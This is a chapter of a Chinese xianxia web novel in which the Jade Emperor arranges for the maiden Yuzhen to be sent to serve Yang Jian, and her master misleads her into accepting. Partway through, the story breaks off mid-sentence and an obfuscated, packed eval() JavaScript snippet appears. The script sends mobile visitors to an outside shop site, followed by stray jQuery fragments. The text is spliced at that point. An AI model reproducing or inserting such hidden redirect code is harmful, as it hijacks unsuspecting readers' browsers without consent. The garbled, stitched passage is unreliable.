方才凌霄殿内,玉帝正端着茶盏,对着案上的千里传音镜絮絮叨叨。
“戬儿啊,你一个人久居灌江口,宅邸那么大,来往香火也不少,可身边连个端茶倒水的人都没有,舅舅心里实在过意不去。”玉帝语气殷切,像极了为孩子操心的慈祥长辈,“这样吧,天庭最近送来一批仙娥,朕瞧过了,相貌端正,让人挑几个机灵的,送到你那里用用。”
灌江口波涛滚滚,镜中杨戬隐没在黑暗里,手中躺着刚从藏书阁拿来的典籍,隐约可见神色淡淡:“不必多此一举,我一个人住惯了。”
“怎么就多此一举了?简直是胡闹!”玉帝拍案,随即又语重心长道,“舅舅没有怪你的意思。但你看你,一年到头回天庭的次数屈指可数,舅舅想见你一面还得用镜子……你就不想让身边热闹些?”
杨戬半晌抬起眼,冷哼一声:“天界公务繁多,我的事,您就不必劳心劳力了。”
玉帝表情一僵,硬着头皮继续劝说杨戬:“……那不一样,咱们是家事。舅舅公务再忙,也不能不关心你啊。”
“每次来灌江口的人都会主动请辞,貌似不像您说的那般优秀。既然如此,就不用再让人来了。”
“等等!舅舅这次不帮你挑了,你自己选总行吧?”
自己选?少见。
见杨戬一时沉默不语,玉帝知道应该有戏,喜出望外地展开花名册推向传音镜:“你自己看看,这些都是新一批仙娥的名单,资质也不错。”
杨戬一目十行,目光从名单上迅速扫过,几乎没有停顿。随着花名册逐渐见底,玉帝的指尖在纸面上敲了敲:“这个如何?太上老君手下的,修行稳当。”
杨戬没说话。
“那这个呢?观音座下的,据说厨艺不错,灌江口也缺个会烧饭的吧。”
又是一阵沉默。
杨戬心里很是鄙夷,肉身成圣后自己已经辟谷多年。自己这位玉帝舅舅口无遮拦,说的东西都令人发笑。
玉帝有些急了,刚想接着翻页,就被杨戬抬手制止。他的手停在中间,指着角落里一个名字,随即收回手。
“就她吧。”
玉帝看见名字后,脸色青紫交叠:“……你说谁?”
“南极仙翁门下,玉真。”没登等玉帝有所反应,杨戬便灭了传音镜。
***
玉帝端坐在白玉宝座上,手中把玩着一枚玉如意。九重玉阶下,南极仙翁袖袍垂落,站了约莫一盏茶的功夫,始终没等到玉帝开口。
他忍不住抬头觑了一下玉帝的脸色,试探着开口:“陛下,深夜召臣前来,不知所谓何事啊?”
玉帝被这句话引回思绪,将手中的玉如意撂在一边,开口时多了些随意:“仙翁啊,近日门中徒弟们修行可否顺利?”
“多谢陛下挂心,一切都好。”
“嗯……你方才在南极仙宫的时候,是在替你那个徒儿玉真择道侣?”
南极仙翁心头一凛。
玉帝的消息怎么如此灵通?从他方才跟鹿童勾画名单到现在,统共也不过一炷香的时辰,怎么就传到了凌霄殿呢?
南极仙翁压下心中的讶异,干笑道:“陛下明鉴。这……玉真修行确实不如其他弟子顺利,因此想给她提早谋个出路,也不枉我们师徒一场。今天不过是随便看看,还没定、还没定!”
玉帝微微颔首,转而不经意将花名册扔给他道:“她的名字还能出现在这上面,自然看得出来是‘随便看看’了。”
南极仙翁捡起脚边的花名册,玉真的名字赫然在目。他眼皮一跳,连忙解释:“陛下,这名字我不知——”
“行了。”玉帝皱眉挥手止住他的话头,片刻后话锋一转,“既然名字在上面,也不失为一种缘分。朕这里有一桩差事,得借你家玉真一用。”
“……陛下请讲。”
玉帝站起身,缓步踱下玉阶,走到南极仙翁身侧时停住脚步:“朕有个外甥,你也认得。他近日事忙,府里除了他就是哮天犬,实在没有能顶事的,平日生活多有缺漏,少一个洒扫庭院、整理文书的人。”
“杨戬自己有心啊,千百号人里挑了玉真。朕思来想去,觉得……还挺妥当。这样一来可以解他无人侍奉的燃眉之急,二来也让你那徒儿多见见世面。”玉帝眼中的笑意深不见底。
南极仙翁心里“咯噔”一下,不可置信地张了张嘴:“陛下,您的意思是……让玉真去灌江口照顾真君?”
“怎么,你不舍得?”
“不……倒也不是不舍得……”南极仙翁额头上冒了一层薄汗,“只是,玉真实在顽皮,怕扰了灌江口清静,冲撞了真君啊。”
玉帝似乎早就料到他会这么说,笑呵呵地接了一句:“无妨。朕也正是觉得她性子跳脱甚是合适,兴许能给灌江口添些生气。”
“朕那外甥是什么路子的,还能被一个小仙娥冲撞了不成?……再说了,这可是他自己选的,冲撞了就受着。”
南极仙翁不好再多言,只得吃苦咽下。躬身领命时,心里如同压了一块沉甸甸的石头,悬在胸前,上不去也下不来。
玉帝转身走回御座时,随口补了一句:“哦对,不必给她说是朕的意思。就说……灌江口那边缺人手,你自己举荐的。反正你也想把她送出去,与其随意选个道侣,杨戬那边不是更合适么?”
“是……”
南极仙翁前脚刚出凌霄殿,后脚就有锁仙塔的天兵前来汇报,无非是告知他玉真已经提前被鹤童保释。
平日里玉真闯过的祸不算少,但从来没有惊动过锁仙塔的人。天兵见南极仙翁一脸出神,把事情的来龙去脉说清楚后便退下了。
晚间云海裹挟着雾气穿堂而过,衣袍猎猎作响。南极仙翁遣散了随行仙童,独自走在宫道上,低声自言自语。
远处,南极仙宫内一片欢声笑语。闻此,他叹了口气。待踏入宫门时,已不见玉真的影子。
“我给你说了好几次,道侣名单道侣名单!”鹤童使劲揪着鹿童的耳朵,“月老那边新编了一版,把三界内未结姻缘的仙家都列进来了,供各宫参考,不是让你找玩伴的!”
鹿童不服气地揉了揉被揪红的耳朵:“有什么好参考的?月老也是看姻缘树快枯死所以病急乱投医了,这姻缘哪是这么容易能结的?”
“低声些,玉真应该睡着了。”鹤童向他比了个“嘘”的手势,两人凑在一处继续看名单,“你看看这个,太阳星君的徒孙,上品灵根,仍然独身。”
“还有这个,嫦娥身边的仙童,据说相貌极佳,竟也无人问津……”
鹿童眨眨眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874687|212346||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“这么优秀还单着,这就更能说明我刚才所言有理了!现在年轻人谁愿意有事没事找个道侣,一个人多滋润。”
南极仙翁忽然想起很久以前,玉真那时还是个不大的孩子,刚刚收入门下。某日他在石台打坐,玉真蹲在浮生阁的小院内拔草,一边拔一边问他。
“师父,你说我这辈子,有没有机会去一个没人管我的地方?”
他当时笑眯眯地说:“那你得先把自己变得足够厉害才行。”
“什么叫厉害呀?变成师父这样可以么?”
“哈哈,你这孩子,就算当了师父也不行啊……”
如今看来,还真是与当初的一切背道而驰了。
思及此,南极仙翁轻声呼唤二人。鹿童鹤童转身发现师父的神色不太好看,两人对视一眼,谁都没敢先开口。
南极仙翁摆摆手:“都去休息吧。明天一早,让玉真过来见我。”
他说完便进了正殿,没再多解释。
***
翌日清晨,尖叫声穿破了南极仙宫的上空。
“什么?要我去灌江口当洒扫仙娥?!”
鹿童和鹤童站在廊下,一人举着一卷书,偷偷四目相对,眼神中藏着说不清道不明的意味。大概心里早就有了准备,可鹿童还是被吓了一跳,反之鹤童沉稳多了。
“倒不是普通的洒扫仙娥。灌江口事情多,缺个人帮忙。为师思来想去,反正总归要放你出去,不如去真君府上历练历练,挺合适的。”南极仙翁坐在院中,慢悠悠地吹着手中的茶。
玉真站在他面前,神色严肃如临大敌:“师父,您说实话,您是不是嫌弃我吃太多了?”
端茶杯的手几不可察地抖了一下,南极仙翁无奈道:“不是。”
“那您就是嫌弃我总是给您惹事上房揭瓦了?但是昨天晚上我真不是故意冒犯真君的……”
“也不是。”
“那您是不是——”
“玉真。”南极仙翁终于抬头,四目相对时,眼里对她有些难得的认真,“灌江口那位肉身成圣,周遭神力满溢,府邸自然也是福地洞天。”
玉真话到嘴边突然卡住了。
“神力满溢?福地洞天?”
她的眼神开始犹豫,嘴唇微微翕动:“真的么师父?是我想的那个意思么?”
南极仙翁从容点头。这张底牌他一直攥在手里,只要是有益于修炼的事,不怕玉真不心动。
“还有一些修炼秘籍是灌江口独有的。曾经玉帝要借书,那位推三阻四很多次都把玉帝挡了回来。真君性子冷淡,轻易不外借。你若是去了,除了蹭些灵气,也许有机会碰到这些书,对你的修炼大有裨益啊。”
“哈哈……我也知道师父您很为难,毕竟要失去我这么优秀的徒弟,接受起来也没那么容易。但为了修——不是,为了师父您的殷切嘱托,我就勉为其难去一趟吧!”
看着玉真得意洋洋的样子,南极仙翁连忙别过脸,低头喝了口茶,担心自己再看下去会忍不住告诉她自己是骗她的。
他放下茶杯时,眼神落在玉真欢呼雀跃的背影上。
记起昨夜玉帝特意叮嘱的那句“不必给她说是朕的意思”,又想到灌江口那位多年来拒人于千里之外的脾性,总觉得自己给玉真挖了个大坑。